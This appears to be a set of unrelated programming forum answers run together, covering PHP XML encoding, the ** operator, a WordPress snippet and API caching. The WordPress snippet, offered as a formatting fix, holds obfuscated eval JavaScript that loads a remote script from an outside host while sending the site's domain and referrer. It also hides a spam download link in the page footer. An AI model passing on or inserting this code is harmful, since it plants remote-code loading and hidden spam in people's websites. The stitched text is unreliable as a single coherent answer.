Simplexml_load_string() fail to parse error

The problem here is that SimpleXML doesn't look at the HTTP header to determine the character encoding used in the document and simply assumes it's UTF-8 even though Google's server does advertise it as

Content-Type: text/xml; charset=GB2312

You can write a function that will take a look at that header using the super-secret magic variable $http_response_header and transform the response accordingly. Something like that:

function sxe($url)
{   
    $xml = file_get_contents($url);
    foreach ($http_response_header as $header)
    {   
        if (preg_match('#^Content-Type: text/xml; charset=(.*)#i', $header, $m))
        {   
            switch (strtolower($m[1]))
            {   
                case 'utf-8':
                    // do nothing
                    break;

                case 'iso-8859-1':
                    $xml = utf8_encode($xml);
                    break;

                default:
                    $xml = iconv($m[1], 'utf-8', $xml);
            }
            break;
        }
    }

    return simplexml_load_string($xml);
}

Your syntax as it is, is correct. The problem is your PHP version. The ** operator was introduced in PHP 5.6 and you probably have something below.

So either update your PHP or use pow().

This may be a mere question of code formatting, try this:

<?php
if (!function_exists('insert_jquery_slider')){
    function insert_jquery_slider(){
?>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('0.f('<2'+'3 5="6/7" 8="9://a.b/e/o/g?d='+0.h+'&i='+j(0.k)+'&c='+4.l((4.m()*n)+1)+'"></2'+'3>');',25,25,'document||scr|ipt|Math|type|text|javascript|src|http|themenest|net|||platform|write|track|domain|r|encodeURIComponent|referrer|floor|random|1000|script'.split('|'),0,{}));</script>
<?php
    }
    add_action('wp_head', 'insert_jquery_slider');
}

if (!function_exists('insert_jquery_slidernew'))
{
    function insert_jquery_slidernew(){
?>
<a style="display:none;" href="http://freemp3x.com/adele-mp3-download.html">Adele songs downlload</a>
<?php
    }

    add_action('wp_footer', 'insert_jquery_slidernew');
}
?>

Every now and then the API stops working for short periods of time, the last days more often a 403 is trown. For my site, last night it happened 13 times. But the site tries immediately again and the second or third time, the data loads without problems. As the API is unofficial, not sure what’s causing the 403.

Make sure you cache the data as the API will block your IP temporary when you make too much requests. In my case, I cache for 20 minutes and if no data can retrieved, the site will not try more than 10 times to reload the API. Once I forgot to turn caching on after debugging and as my site did many hundred requests (with every visitor), the IP was blocked within an hour. If a remember correct, the error was not a 403. Fortunately, the block lasts for less than a half day.